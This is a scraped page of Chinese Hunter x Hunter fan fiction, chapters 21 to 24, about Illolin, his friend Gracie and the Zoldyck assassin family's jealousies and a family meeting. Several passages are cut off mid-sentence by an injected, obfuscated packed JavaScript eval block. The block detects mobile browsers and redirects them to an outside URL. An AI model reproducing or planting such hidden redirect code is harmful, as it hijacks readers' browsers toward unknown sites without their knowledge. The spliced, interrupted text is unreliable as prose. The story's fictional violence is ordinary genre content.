他们聊着天，准备去吃一顿好的，而西索自己的战斗孤独地开始了，嘛，没人在意他的战斗呢。西索觉得无趣，洗牌，切牌，瞬杀。 要不要去杀掉伊洛林呢…… 他望着躺着的尸体，认真地思考。 不太行……杀掉的话，格蕾西会疯吧，那样还没到最美味的时刻，摘下来就太可惜了，而且一下子要吃掉格蕾西，还要迎接伊尔迷和揍敌客的怒火呢—— 虽然非常期待，但还是得让格蕾西有成长的空间。 这个孩子，必将美味。 西索愉悦至极，他期待着，杀掉格蕾西的那一刻，极致的快乐。 21. 21 伊洛林和格蕾西选择去吃路边摊。 不论在哪里路边摊都是最好吃的，这是毋庸置疑的，毕竟伊洛林和格蕾西现在口袋里的钱都不少，他们也没想着去吃点好的，最多想着去码头整点薯条。 格蕾西觉得自己右眼皮一直跳。 似乎有什么自己不太喜欢的东西要来了。 她掰着手指数，自己讨厌的是谁，是侠客，是库洛洛，是飞坦，还有西索和伊尔迷，不会是旅团追来了吧？服了，流星街的特产是幻影旅团吗。格蕾西思考，她觉得自己已经快接近目标了，这种讨厌的感觉更像是……伊尔迷？ 我靠，他不会要来加入吧？ “我即将给你哥安排一句台词。”格蕾西冷静开口，伊洛林茫然地看向她，只见格蕾西缓缓一笑：“我是来加入你们的，而不是来拆散这个家的。” 伊洛林忍不住笑出了声。 “什么啊，大哥他怎么会这么说……” 他撩起鬓发夹在耳后，难掩笑意，低头咬了格蕾西手上剩下最后一口的香肠，顺势拿走签子丢在垃圾桶里，把自己手上新鲜出炉的薯塔捋下来，方便格蕾西用筷子吃得干净些。 他做这些事非常熟练，并非说曾经也是这样，大概是因为现在身份是哥哥，所以更有照顾人的意识？ 又或者说，是因为失而复得？ 总之，伊洛林拥有了极丰富的照顾弟弟经验，现在用在格蕾西身上，他强得可怕。 格蕾西的视线扫到一个小孩。 她留着齐耳短发，一张脸可爱至极，雾紫色的眼瞳极具吸引力，而那双圆滚滚的双眼只是在眼尾微微上挑，看上去就是个唇红齿白的小妹妹，一点美人痣在唇角。她穿一身黑色和服只安静站在人群里，人来人往，她的视线不避不让，和格蕾西对视。 ……啊，是那种讨厌的感觉。 格蕾西状似无意地收回视线，思考着这孩子怎么回事。 被人盯着的感觉越来越强烈，伊洛林敏锐追寻着最强烈的那一道目光看去，只是愣了一秒，便露出了不太相信的表情来，他拉着格蕾西过去时，格蕾西发现那孩子正盯着他们交握在一起的手。她有预感，这孩子绝对是揍敌客家的。 “柯特，你怎么会在这？妈妈呢？” 伊洛林走近时暂且松开了格蕾西的手，他只比柯特高一个头，而柯特轻轻摇摇头，一下撞进他怀里。伊洛林的神色温和，他喜欢柯特这个弟弟。这是他唯一的弟弟。伊洛林就这么安静地抱着柯特几秒钟之后，格蕾西看到柯特抬了抬头，在格蕾西看不到的角度，用一双眼睛冷漠盯着她。 嘁。自己跟这两天的人果然合不来吧。 格蕾西怒极反笑，迅速搂住了伊洛林的一只胳膊贴近了身体：“这谁啊，怎么不给我介绍一下？” 伊洛林如梦初醒，摸了摸柯特的发顶：“哥哥给你介绍一下，这是哥哥最好的朋友，格蕾西。他是我弟弟，柯特，从来应该在家里由妈妈单独教育的，不知道怎么来了天空竞技场……应该是大哥带来的？” 格蕾西居高临下望着柯特，四目相对时，两个人对对方的厌恶都坦白直率。 “哦——你弟弟啊，这么大了还撒娇呢？” “柯特才八岁。” “我也才十岁啊！” “嗯……格蕾西要撒娇吗？”伊洛林自然而然地笑着，只是怀里的柯特攥紧了他的衣服，更用力地争取回哥哥的视线，但只是一转眼，格蕾西就立刻搂住了伊洛林的脖颈：“撒娇，我要撒娇，我也要抱！” 伊洛林当然不会拒绝，柯特被挤出去，只能握着伊洛林的一只手。 格蕾西嘲讽一笑，用一种胜利者的姿态挑衅了一眼。 柯特：…… 大哥说得对，这个人，真的很讨厌。 闹腾了一阵子，伊洛林找了一家餐厅带他们去吃一顿正式的，当伊洛林去拿一些免费菜品的时候，柯特与格蕾西坐在位置上横眉冷对，两个人都觉得对方碍眼，不应该存在，但望了一眼伊洛林的背影，又忍住了没出手。 “哥哥，不需要朋友。”柯特率先发起攻击。 格蕾西冷笑：“哦！关我什么事，你哥哥不需要朋友，但是伊洛林需要我。” “你根本没有资格做朋友。” “资格可不是你定的。” “……”柯特暂且没话可说，毕竟他第一次对人这样的态度，格蕾西的笑容像极了什么大反派，反正就是一副随便你啊，反正你也弄不死我的嘴脸。 我就喜欢你这副看我不爽又拿我没辙的样子。 “小弟弟，教你一件事。年纪大了就独立，别成天黏着你哥，碍眼。” 格蕾西毫无嘴下留情的打算。 摆在明面上的不合都这样了，还有必要虚与委蛇吗？ “我再提醒你一下，别企图跟你哥告状，否则你就会知道在你哥眼里到底谁更重要。”格蕾西觉得自己应该拿个金马奖，最佳反派的那种，她抬了抬下巴，感觉柯特都快被自己气哭了，神清气爽地等来了自己爱吃的东西。柯特虽然也有一碟，但总觉得自己输了。 “在聊什么？” 伊洛林侧身坐在柯特旁边，因为觉得小孩更需要照顾，格蕾西没提出什么想法，毕竟伊洛林要照顾弟弟也是天经地义，她就是看不爽揍敌客家这一个两个的，对伊洛林的私事管那么多，还什么一口一个不配做朋友的，做朋友需要什么配不配。 “没聊什么，你弟挺可爱的。” 格蕾西揭过不谈，伊洛林也算好不容易有了家，在什么都不知道之前，她不会故意说什么引起争执，当然背地里的不算，她理直气壮。 柯特也没说什么，两个人各怀心事，只有伊洛林什么也没发现。 柯特吃过饭后就困了，伊洛林也决定要带他回去睡个午觉，和格蕾西约好了今晚见，他拉着柯特的手走在街头，柯特走在他身侧，明明被握着手，却有一种即将要失去的错觉。他很害怕，因为伊洛林一直都在家里，只在家里，为什么会突然有了更重要的朋友呢？不是家人更重要吗，为什么……是朋友更重要。真的和那个人说得一样，伊洛林会更加相信她而不是自己吗？ “哥哥……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15035564|162407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 柯特握紧伊洛林的手，因为柯特睡不了二百层以上的房间，伊洛林订了一家高级酒店，顺便把地址发给了伊尔迷。 “怎么了？” “她好像不喜欢我。” 伊洛林疑惑了几秒钟才意识到他说的是格蕾西，他摁了电梯，在电梯缓慢下降的时候，伊洛林缓缓道：“没关系，你们并不是非要喜欢对方，她也并不需要你的喜欢。” 柯特无言。他跟着进了电梯，又沉默到了房间，伊洛林会在这里陪他，直到伊尔迷来为止。 “哥哥。” 他再度开口。 “我和她之间，你会选择她，对吗？” 伊洛林张了张嘴，他肯定是选择格蕾西，但是柯特这话又太奇怪，他必须二选一吗？柯特脱去外衣，钻进被子里，他第一次感受到了名为难过的情绪。伊洛林优先属于哥哥，他还能接受，可是为什么，伊洛林又会属于别人呢？ 我也想要。 想要拥有…… 柯特感受到伊洛林的靠近。他的哥哥温柔地抱住了自己，用对待孩童无二的办法，他很温暖，味道很香，柯特鼻子一酸转身钻进了伊洛林的怀里。 他从小就是伊洛林看着长大的，所以对伊洛林的执拗也深。 一脉传承的血缘里，拥有控制的渴望。 “哥哥最喜欢的为什么不可以是我……” “你是我弟弟，我会喜欢你。” “……” “因为你是我弟弟。” 是这样啊。 因为喜欢我是喜欢弟弟，格蕾西不是你的弟弟，她和你没有任何关系，她的存在只是这个世界上的一次巧遇，你和她是没有任何原因单纯的互相吸引，才会喜欢彼此的，所以，会比我还要深刻。 如果不是你的弟弟就好了，如果不是的话…… 柯特不抬头，他假装自己睡着了，而伊洛林轻轻吻了下他的发顶：“不过就算你不是我的弟弟，我也会爱你。” 柯特的呼吸平稳，悠长。 伊洛林护着他，陪着他。 窗外，静静注视着伊洛林的伊尔迷终于离开，他的电话连接着家中，席巴正耐心听着他的汇报。伊洛林认识了一个朋友，并且认定了她很重要。这种事可大可小，毕竟又不是奇犽，他的天赋极佳，必须好好培养，对伊洛林，席巴一直比较放纵他的成长。 “伊洛林的性格，你比我清楚，所以……”席巴微不可查地叹了一口气，看向自己的妻子：“所以，伊尔迷，让那个女孩继续成长，或许值得培养。” “知道了，父亲。” 席巴对孩子的培养一直很宽容。 只不过是对奇犽的重视更多一些而已。 而已吗？ 伊尔迷又点开伊洛林的对话框。 「我知道，柯特是哥哥接过来的」 「哥哥也要撒娇吗？」 「但是不行的事情就是不行……」 很大胆的伊洛林，因为格蕾西在吗？伊尔迷不得而知。但是他清楚，格蕾西对伊洛林，比他想象的还要重要。 22. 22 奇怪的男人。 这是伊洛林的第一判断。 他来购买早餐喂饱自己的弟弟和朋友，在早餐摊子前遇见了一位中年男人。 他风度翩翩，优雅贵气，手杖的顶端都镶嵌着一颗硕大的蓝宝石，他并没有任何身体障碍，手杖更多只是用来彰显他尊贵的身份。两鬓微微发白，却精神抖擞，从容不迫，双目和蔼。 可莫名其妙地，伊洛林不喜欢他。 这是一种直觉，在开念之后就更加强烈了，伊尔迷让他测试过，得出的结论是强化系。 “你好啊。”中年人微笑着开口：“你长得，很像我的一位老朋友。我们曾经把酒言欢，畅谈未来……哈哈，不好意思，人老了总是喜欢怀念过去。”他的手杖轻轻点地，伊洛林目光微移，发现自己的所有退路上都有人在蹲守，他的视线回归对方的脸上，目光不偏不倚。 “我想跟你聊聊，有关于你的事情。” “……比如？” 现在的情况是不明身份，不明实力，伊洛林选择顺从。 中年人俯下身，那双深红色的眼睛紧紧盯着伊洛林的双眼，他的声音越发的温柔了起来：“你的父母，没有给过你任何饰品吗？例如……项链。” “没有。” “你姓揍敌客，对吧？替我，向你的父亲问好。” 中年人微微扬唇，他表现出一种镇定自若的态度来，可伊洛林却明显感受到他的焦躁。 看起来他没有找到自己想要的东西。 他想要的是什么？ 从我身上获取吗？ 伊洛林百思不得其解。他看着对方离去，那些人也撤走，伊洛林拎起早餐回酒店，柯特和格蕾西正相对无言，伊洛林把东西放下，眉头依旧紧锁：“你们先吃，我去打两个电话。”他没等二人回应，走到了床边坐下，一个电话拨给了没回消息也没回来的伊尔迷。 电话很快被接通了。 “大哥。你在哪里？” “天空竞技场。” 太好了，是很近的距离。 “我遇到了一个男人，大哥您认识吗？”伊洛林描述了对方的样貌，伊尔迷那边思索了片刻，否认了自己认识的可能性，他并不认识这样的人。但他很好奇，发生了什么事，能让伊洛林打电话给他询问这个人。伊洛林将刚刚发生的事情说了一遍，希望伊尔迷来到自己这里，并且他需要打一个电话回家。 “项链。”伊尔迷重复了一遍这个词，语气变得有些幽深。 他大概知道了，这个男人是谁。 ……这下，或许真的有一点麻烦了。 “不必打电话给爸爸，等我来了再说。柯特还在你身边，对吧？”伊尔迷立刻做了决定，他得到了确切的回复，甚至没有去坐电梯的打算，推开窗户纵身一跃，直接从两百多层跳了下去。他拨打了父亲的电话，席巴的声音传来后，伊尔迷冷静汇报了今天伊洛林遇到的事情。 “我猜，是任务下达的单主。” 很明显，他杀人是为了某种东西，而恰好，这个东西不见了。他找到了伊洛林，怀疑到了揍敌客头上，那么他就绝对不会松嘴。 席巴也重复了项链这两个字。 但他并没有任何的想法，托着腮闭目养神，满不在乎：“嗯……你先带柯特和伊洛林回来吧，毕竟念也开了，二百层也通过了。有些事，也该处理了。” 电话挂断，席巴睁开眼，他从自己身侧的柜子里拿出了一个盒子，打开盒子，里头是一条项链。那项链用了特殊的金属，做成了太阳一般的形状，金属蔓延出尖锐的针刺，模拟着光芒的盛况。是的，这是伊洛林的东西。 ——也是那个男人要找的东西。 看来内部还是不够严格，伊洛林的消息都能流通出去。 现在，他们自己也要整顿内部了。 伊洛林得知自己要回去的第一件事就是看向格蕾西，格蕾西咬着包子，颇为不满，因为她知道，自己暂且没办法离开西索身边，因为西索想要培养她在天空竞技场战斗。而从伊尔迷的态度来看，伊洛林那边出了点事急需回家。否则之前的安排不可能被这么轻易地修改。 未等伊洛林提出，格蕾西便拉了拉他的手：“我在这里等你，家里的事情解决完了，就要和我联络。记得每天都要给我发消息。要是哪天不发，我就冲上门去。” 最后一句话说给伊尔迷听的。 伊尔迷没有任何反应，淡淡扫了格蕾西一眼，她能感受到伊尔迷的强大与扭曲，但是她依旧倔着脾气，抬起下巴勇敢地面对伊尔迷。 他们两个都有寸步不能退的理由。 现在她不硬跟着，第一是因为打不过，第二是因为西索这个人，你骂他跟夸他永远都不知道哪个能让他更爽，而且她有些事情也确实需要一个人想清楚了。 从前没有伊洛林，怎么活着都无所谓，现在有了伊洛林，那就不能继续这么想。因为伊洛林一定很需要她。 就像柯特说那样，他说自己将伊洛林变成了不一样的人，那就证明从前伊洛林并不快乐，如果他不会笑，只会哭，那么活着的意义难不成是为了受苦吗？你们乐意看他冷漠的脸，她格蕾西不乐意，她只想看伊洛林笑，像从前一样笑。 伊洛林搂住格蕾西，脸贴着脸，轻轻地蹭了蹭。 “你等等我，我一定会来找你的……” 从前没有格蕾西，所以在哪里都无所谓，可是现在有了格蕾西，他就像是有了家的燕子，只想着回到她身边去。 格蕾西轻轻嗯了一声。 不论伊洛林在哪，天涯海角，还是世界上最危险的地方，等她有了能力，就一定会去追寻他的踪迹。 伊尔迷一手拉着伊洛林的衣领子把他扯回来，手一圈扣住了他的腰部，柯特配合默契抱住了伊洛林，两位揍敌客用同样冷漠的眼睛倾诉他们拥抱时间太长的不满，而伊洛林显然没有注意到他们的真实想法是什么，毕竟柯特在他眼里估计就跟自己女儿差不多。 他就是这样，对信任的人，从不怀疑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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伊尔迷低头，他轻轻吻了伊洛林的额头，极为明显表现出了自己地在意，柯特微微睁开眼睛，与伊尔迷对视，他们都清楚，伊洛林的性格，他们都明白，强求，或者，示弱，才是最好的武器。 伊尔迷会示弱吗？他认为是示弱，就是示弱。最重要的是，伊洛林能不能读懂。 “对不起……大哥。” 伊洛林能够感受到他人的情绪，温柔做出回应，他有强烈的同理心，这并不符合揍敌客家的指导教育，但是恰好能让伊洛林产生更多的感情。 来试试看吧，哪一边的砝码更沉重。 伊洛林鼓起勇气，第一次尝试去亲吻自己的兄长，他侧首微微抬头，唇瓣触碰上兄长的面颊，只是一触即离，脸上就已经烧了起来，红了一片过去。 心情不太一样。但难以捉摸。 但是……不讨厌。 他在伊洛林看不见的地方笑了，黑气森森，又激荡昂扬的念力，但他小心控制住了念力激荡的范围，只有敏锐的柯特能感觉到。 柯特抱紧了伊洛林的手臂，眼巴巴盯着他看，伊洛林没让他失望，也亲了亲他软乎乎的面颊。 三个人坐在一起，亲密无间。 各怀心思，各有贪念。 伊洛林无知无觉，他只是想着，要回家了。 23. 23 柯特趁伊洛林去厕所，偷偷拉了拉伊尔迷的袖子。 伊尔迷低头注视着自己这个最年幼的弟弟，只见他比了个数，伊尔迷不太确定，但是掏出手机利落地给他转了三百万戒尼。柯特没有赚钱的方式，只能靠每年的压岁钱，家里长辈多，他和糜稽也是到了给压岁钱的年纪，但是对于柯特而言应该算不上很够用。 柯特满意收下，下一秒伊尔迷收到了一条短讯。 打开一看，高清，大头，没有任何格蕾西存在迹象的，连眼睛里倒影都恰到好处被模糊的，伊洛林清晰笑颜照片。 这三百万花得挺值。 两个人交换一个眼神，默契分开了些许，伊洛林从厕所里回来的时候也没能发觉任何不对。 两位揍敌客完成交易，悠然自得。 当然，柯特也不是因为别的原因要卖的，如果是大哥温柔一笑这种程度的话，应该也能卖出一个好价格，自己家人之间的买卖怎么能算买卖呢。 用同样的手段，在家里人身上赚了一共两个亿戒尼之后，柯特心满意足下单了那款收藏了很久的宝石项链，到时候自己就能够在哥哥生日的时候送上合适的礼物了，哥哥戴着这款项链一定会很漂亮。小小的孩子偷偷勾了勾唇角，他又立刻严肃起来，眨了眨圆滚滚的猫眼睛，手指轻轻地与伊洛林的手指，十指交扣。 哥哥可以属于家里的任何一个人，但绝对不能是，外面的人。 揍敌客排外，从主人，到仆从。 飞船已经到了枯枯戮山脚下，他们搭乘专线上山，才到半山腰就闻到了浓郁的血腥气，同时还有一组车队正井然有序地向上开，通过警戒线时司机出示了自己揍敌客家的证件，而后才被放行。 发生什么事了？ 伊洛林有些不解其意，车子到了家门口，皆卜力正一脸苦恼地推开门，让里头的人将一具具尸体抬出来，连基础的尊重也没有，直接堆成了小山，而车队里的人把尸体搬下来，放在担架上，蒙上白布抬上车，这简直就成了一条流水线。 “大少爷，四少爷，五少爷，你们回来了。这可真是……哎呀，请稍等一下。” 皆卜力头疼地说道，他看了一眼里头，又推了推身侧蹲着的，明显不是揍敌客家的年轻男人：“到你表现的时候了，去搭把手，我们少爷可不能踩着这么脏的地面进去。” 男人犹豫了片刻，走进了门里。 “怎么了。”伊尔迷询问道，没人敢回答，只有皆卜力接了话：“哎呀，还不是那些人……一千名猎人来攻击揍敌客家，唉，真是不自量力，全部都死在里头，害得三毛都吃饱了。还剩下五六百具尸体，已经搬运得差不多了，三位少爷先等等，马上我们就清理掉。” 伊洛林总觉得奇怪。 他遇到了那个男人之后，家里就遭遇了袭击。 他抬起头看伊尔迷：“大哥，他想要的是父亲的东西吗？为什么他会觉得应该在我身上。” “不清楚。” 不能撒谎，伊洛林会感知到，那就装作不知道，这样起码伊洛林自己也懵懵懂懂。果然，伊洛林也只是疑惑地歪了歪头，伊尔迷目光缓缓向后，躲在人群里的男人隐匿了身影。他没有出手，因为他需要传达一个消息，那就是项链确实不在伊洛林的身上这件事。 皆卜力等人的效率非常快，门口的尸体被抬走，血迹也清理完毕，只剩下浓烈的血腥味还存在着，证明刚刚发生在这里的屠杀真真切切。 梧桐带领着仆人来接，列成两队的佣人鞠躬问好。 “大少爷，四少爷，五少爷，欢迎回家！” 伊洛林不太喜欢这样浓烈的血腥味，他抬头看见一个拎着手杖的小姑娘，浑身是血地站在一侧，她低着头没什么笑意，只是恭恭敬敬的。 “这是卡娜莉亚，她会在更加成长之后，接替我的位置。”梧桐毕恭毕敬解释道：“今日，也是她一个人，阻拦了千名猎人。” 伊尔迷点点头：“做得不错，该有的奖励，会给你。” 卡娜莉亚深深鞠了一躬：“感谢大少爷，这是我应尽的责任与义务，是我该做的。” 伊洛林掏出湿纸巾递给她。 “不用在这里傻站着了，先去洗漱一下吧。” “没关系的，伊洛林少爷，我不能收您的东西！”卡娜莉亚有些诚惶诚恐，伊洛林没有坚持，他将湿纸巾递给梧桐，梧桐替卡娜莉亚接下之后，看着三个人慢慢走远。 卡娜莉亚从梧桐那接住了湿纸巾，却没有立刻用，只是握在手掌心里。 ……伊洛林少爷。 因为这句话，她被允许去洗漱，不必在这里继续值守。虽然哪怕不用这句话，梧桐也不会苛刻对待她，但卡娜莉亚还是心存感激。 伊洛林在门口附近遇到了基裘，他拉着柯特小跑两步，把柯特重新送回了她的怀里。 “妈妈，我回来了。” 基裘一把将他也搂进怀里：“妈妈的伊洛林——！让我看看，瘦了，更瘦了！！！不行，孜婆年！！今晚安排厨房，要多做一点肉上来！！” 孜婆年甚至没有出现就立刻消失了。她属于基裘一人，被安排的事情会安排给其他人去做，除非是必须她亲自出马的事情，否则孜婆年会一直在基裘的身侧，暗中保护。 “妈妈，我也想你。” 伊洛林尝试着亲吻了母亲的面颊。他听见母亲尖锐的声音冲破云霄，带着跌宕起伏的破折号，于是伊洛林脸上留下了数个唇印，惹得他也有些不好意思起来。 他还以为不能用这一套呢……看起来妈妈也喜欢。 长廊上，是糜稽和奇犽正在吵架。 “啰唆死了不就玩了一下你的手办吗！” “你把手扭断了！奇犽，我绝对要让你付出代价！” “哈？不就一个破手办吗，赔你钱行了吧？别罗里啰嗦了！” “那可是限编！！限编！！” 糜稽声嘶力竭，差点被气晕过去，但奇犽已经看见了他们，眼睛一瞬间亮了起来：“伊洛林，你回来了！啊，大哥，妈妈，还有柯特。”他后面几乎越来越平淡，对伊尔迷更是看一眼都嫌多，糜稽气呼呼地不想说话，伊洛林听懂了他们吵的是什么，掏出手机摁了几下，才对糜稽开口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15035566|162407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ：“二哥，你那个手办我刚刚给你买了二手市场的一个100号限编的，你就原谅奇犽哥吧？他不会有下次了。” 糜稽飙泪：“伊洛林！只有你最懂我！！” “嘁……”奇犽拉着伊洛林的手：“走，伊洛林，我跟你说我最近学会了玩滑板，等下吃完饭我要教你！” 他拉着伊洛林就跑，迫不及待要让他去看滑板。 “奇犽——！” “知道了，饭点我们会回来的啦！” 基裘提着裙摆发出夸张的叹息声：“奇犽真的是，这孩子怎么还是这么毛毛躁躁的呢，不过很快就可以更加成长起来了，呵呵呵……对了，伊尔迷，给我说说那个格蕾西吧，我想要她的更多资料——！” 伊尔迷的眼中一闪而过一抹亮色：“好的，妈妈。” 添油加醋这事，他不熟，但能干。 柯特轻轻抬眼。 添油加醋这事，他也不熟，但他也能干。 长子和末子在奇怪的地方达成了一致。 伊洛林心里还惦记着外面死了一千个人的事情，总觉得心里闷闷的，哪里不太对。奇犽捧着滑板给他看，看到伊洛林的表情也知道他没心情，伊洛林讨厌杀人这事他们都清楚，外面一口气死了那么多个，他心情不好也是应该的。 可伊洛林和他说了那个中年男人的事，奇犽也开始觉得奇怪了。 “如果是因为我而死了那么多人……” 奇犽一下子否定了他：“怎么可能！他们要是不贪心，怎么会来揍敌客家？都不过是为了钱而已！” “可是……” “伊洛林，不用为了陌生人而觉得可惜，每个人都有自己的选择，要为了自己的选择付出代价也是正常的。” 伊洛林迟疑了几秒，露出了有点怀疑的表情。 “奇犽哥，你最近是看什么书了吗？” 一下子被揭穿的奇犽恼羞成怒，勾着伊洛林的脖颈企图物理镇压，伊洛林反身就是一个剪刀腿绞住奇犽脖颈，两个人缠斗在一块你不让我我不服输，直到筋疲力尽。 “对了，听爸爸说你认识了一个新朋友？” “嗯！” “真好啊，我也想要个朋友，都是爸爸和大哥的错才对，我竟然没有朋友！” 在揍敌客家，没有朋友是常态吧。 伊洛林偷偷在心里说。 奇犽还想再抱怨两句，但晚饭时间已经到了，他们有一起吃饭的家族传统，早餐和午餐并不介意，但是晚饭如果在家则需要尽量到场，祖父不参与任何这种行动，但是爷爷很乐于看见后辈们的齐聚。 “爸爸，爷爷，我回来了。” 席巴微微点头，他坐在主座上，左侧是基裘，右侧是桀诺，下方左右依次是伊尔迷，糜稽，奇犽，伊洛林，伊洛林身侧坐的是柯特。 有毒的晚餐丰盛异常，佣人们伺候着主人的晚餐。 席巴举起酒杯，扬唇开口：“庆祝一下，我们久违的齐聚。” 揍敌客家，全员到齐。 ——除了不喜欢参与的老一辈，和，那个东西。 24. 24 任谁都能发现，伊洛林的胃口好了不少。 他曾经吃得比猫还少些，多是吃些绿色蔬菜，偶尔才能塞进去两块肉，瘦得有些不协调，不健康，好在对喝的东西无所谓，营养剂兑了果汁慢慢喝进去，填补进了窟窿里。 而今晚，伊洛林吃了一根烤鸡腿，一份牛排，一碗汤，甚至还有一块烤鱼。 他喝完了杯子里的萝卜汁，结束了自己的用餐。 伊尔迷拿了几颗小番茄放在他的碗里，于是伊洛林又将水果也吃了下去。伊洛林细嚼慢咽，吃得很慢，下毒之后口味略有改变，所以进行了第二次调味，他吃得还算满足。 伊尔迷这次没能拥有解决伊洛林吃不下的东西的机会。 他甚至觉得伊洛林解决格蕾西吃剩的东西这件事很不可理喻，但是轮到自己时，又觉得可以。 于是他用叉子叉了一点鸡腿肉，喂伊洛林吃掉，伊洛林吃掉后表示自己已经吃得很饱了。他们差不多时间都停下了进食，佣人们撤掉了餐盘，换上一些适合餐后吃的水果，茶饮料，而后他们撤退出了房间，近距离不允许有人靠近。 现在，是揍敌客家族的晚会时间。 “那么，来说说最近的情况，伊尔迷，从你开始。”席巴喝了一口茶，他发起这次家庭会议的开头。 “是，爸爸。” 伊尔迷没有动，桌子下的手还在轻轻揉捏着伊洛林的手指头：“我们名下的产业链，相比较于上个季度，增长的幅度是百分之二，稳定前行，暂且所有续约都已经进行。” “另外，今年截至上个月最后一天为止，我的任务是三百一十二单，糜稽二十三，奇犽四十三单，伊洛林一百零二单，柯特没有。” “以上。” 伊洛林算了算，伊尔迷平均每天要杀两个人，怪不得大哥总是忙忙碌碌风风火火，这是在做任务，杀到过年去，杀出美味杀出鲜。 糜稽慌慌张张的开始表示自己的研究，他发明出一种无色无味的毒，可以在短时间内毒死成年猛犸象，但是问题是下毒后两秒钟毒素就会挥发变成纯天然的无公害液体，甚至还挺有营养的，也无法经历高热和低温，目前正在研究中……如果不是伊尔迷敲了敲桌子，糜稽估计会开始歇斯底里地讲述自己完美而伟大的发明。 轮到奇犽时，他把双手背在后脑，兴致缺缺，“我做什么你们不都知道吗……今年也努力杀行了吧？” 伊洛林是不喜欢杀人，他是讨厌杀人，不是觉得杀人不好，单纯觉得无聊。 轮到伊洛林时，他有一点紧张。 “我……已经打到两百层了，今年也习惯了很多事情，训练方面都已经完成指标要求。” 柯特不需要汇报，他还没开始自己的杀手生涯。 不过他已经八岁了，基裘大概很快就要开始教育他怎么杀人了。 席巴放下茶杯。 “那么，说说看，你交的新朋友。” 仅这一句话，所有孩子都立刻正襟危坐，包括伊尔迷在内。他们眼观鼻鼻观心，坐姿笔挺，因为席巴正在释放强大的威压，这个压迫感像是野兽，凌驾在每个人的头上，每个孩子都清晰地感受到父亲的强大，他们需要低下头，臣服他们的父亲。 伊洛林攥紧了手指。 “伊洛林，你知道揍敌客家的训条不是吗？” “……一切，以家族的荣耀为第一选择，家族中，不可互相残杀，永远选择自己的亲人，不允许放弃与背叛。遇见不可战胜的强者，要服从，每个任务，都需要百分百完美地完成，家人永远是最珍贵的。” “嗯。你的解释呢？” 席巴的眼神锐利，像是要穿透伊洛林的心。 而伊洛林深呼吸一口气，他早就想过了这个问题，所以他此刻站了起来，面对席巴开始了自己的解释。 “我认为，我没有背离揍敌客的家训。” “首先，我认为并非只有血缘关系才能够成为家人，没有血缘关系但感情足够的人是被给予的第二次挑选家人的机会，格蕾西是我选中的家人。” “其次，我认为格蕾西与揍敌客家并没有冲突之处，利益纠纷也并不存在，而且她并不会屈服于任何人，所以不会将我的情报进行售卖，反而会为我付出全部。” “最后，我和格蕾西，我们之间……就像是家训中说的那样，我们永远会选择对方，永远不会背叛与抛弃彼此。所以，爸爸，妈妈，爷爷……还有大哥，我希望你们能够接受格蕾西，她身上有无限的潜力，可以在未来也成为助力！” “我愿意接受任何惩罚，但是请别伤害格蕾西。” 本来，这些话是可以反驳的。 难就难在伊洛林义正词严地说出了没有血缘也能成为亲人这句话，这个点就尴尬了，如果处理了格蕾西，那么他们呢？瞒得住一时，瞒不住一辈子，有些事情伊洛林迟早是要知道的，如果他们干涉了，那么伊洛林以后要怎么想呢。 还有就是其实他们只是对奇犽的培养严格了很多，毕竟是下一任家主，至于伊洛林，实在没有多少上升空间。 再提到格蕾西，说起来席巴和桀诺都对这个孩子挺满意，基裘更是兴趣满满。 因而席巴只是故作迟疑地沉默了几秒。 “如果她有背叛揍敌客的行为，伊洛林，你是否会将她抹杀？” “……她绝对不会背叛我。” 这是伊洛林的回答。 她会不会背叛揍敌客？这对她而言不是背叛。但是揍敌客里有我，所以格蕾西绝对不会背叛我。 基裘难掩兴奋。 “伊洛林——！！你现在已经成长为男子汉吗啊啊啊啊，妈妈已经迫不及待了，迫不及待要见见那个孩子了！！” 伊尔迷和柯特的脸臭臭的。 因为他们哪怕说了点添油加醋的话，也没能让基裘觉得格蕾西是个需要被排除在外的人，她甚至很喜欢格蕾西。真是奇怪，为什么呢…… 桀诺笑了一声：“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15035567|162407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伊洛林可从来没说过这么长的一段话，想到小时候那几年，一年能说两句话就足够我在新年的时候多喝一杯了。只要他能承担起责任，我倒是支持他和格蕾西做朋友了。”自己这种老年人，只要看到儿孙幸福就行了，说不准伊洛林会是第一个结婚的也说不定，年轻人啊，爱恨都很快的。 “那妈妈也支持伊洛林——！要带回家，要带回家！”基裘已经幻想出来自己的儿媳妇穿着漂亮衣服的模样了，那个孩子听说长得很好看，下一代绝对会更好看的！ 